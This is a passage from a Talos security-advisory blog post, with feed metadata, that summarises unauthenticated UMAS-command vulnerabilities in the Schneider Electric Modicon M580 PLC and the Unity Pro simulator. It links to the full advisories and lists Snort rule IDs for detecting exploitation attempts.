\n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2019-0768>). \n \n**Schneider Electric Modicon M580 UMAS read system blocks and bits information disclosure vulnerability (TALOS-2019-0769/CVE-2019-6806)** \n \nAn exploitable information disclosure vulnerability exists in the UMAS Read System Blocks and Bits functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to return blocks of memory, resulting in the disclosure of plaintext read, write, and trap SNMP community strings. An attacker can send unauthenticated commands to trigger this vulnerability. \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2019-0769>). \n \n**Schneider Electric Modicon M580 UMAS write system bits and blocks denial-of-service vulnerability (TALOS-2019-0770/CVE-2019-6807)** \n \nAn exploitable denial-of-service vulnerability exists in the UMAS write system bits and blocks functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted set of UMAS commands can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability. \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2019-0770>). \n \n**Schneider Electric UnityPro PLC simulator remote code execution vulnerability (TALOS-2019-0771/CVE-2019-6808)** \n \nAn exploitable remote code execution vulnerability exists in the UMAS strategy programming functionality of the Schneider Electric Unity Pro L Programming Software PLC Simulator. A specially crafted sequence of UMAS commands sent to the software's PLC simulator can cause a modified strategy to be programmed, resulting in code execution when the simulator is switched into the start mode. An attacker can send unauthenticated commands to trigger this vulnerability. \n \n \nExploitation of this vulnerability leverages a technique similar to that used by Mille Gandelsman and Avihay Kain on Unity Pro in 2016, which can be found [here](<https://blog.indegy.com/new-scada-vulnerability-enables-remote-control-of-ics-networks>) and [here](<https://www.schneider-electric.com/en/download/document/SEVD-2016-288-01/>). \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2019-0771>). \n\n\n### Versions tested\n\nTalos tested and confirmed that that the Schneider Electric Modicon M580, BMEP582040 SV2.70 is affected by these vulnerabilities. \n[](<http://4.bp.blogspot.com/-DJX55hSOSNE/XP5pKvoxuBI/AAAAAAAAGz8/PqZwgH6YPNEI4XPM_AOFvCsLvJQVkF4AgCK4BGAYYCw/s1600/patch_availability_available.jpg>) \n\n\n### \n\n### \n\n### \n\n### \n\n### Coverage\n\nThe following SNORT\u24c7 rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your Firepower Management Center or Snort.org. \n \nSnort Rules: 48521 - 48528 \n\n\n \n\n\n", "modified": "2019-06-20T06:08:34", "published": "2019-06-20T06:08:34", "id": "TALOSBLOG:EED1741F2FA90B90A8225826C1A168CC", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/Vx-TpqUv61U/vulnerability-spotlight-multiple.html", "type": "talosblog", "title": "Vulnerability Spotlight: Multiple vulnerabilities in Schneider Electric Modicon M580", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}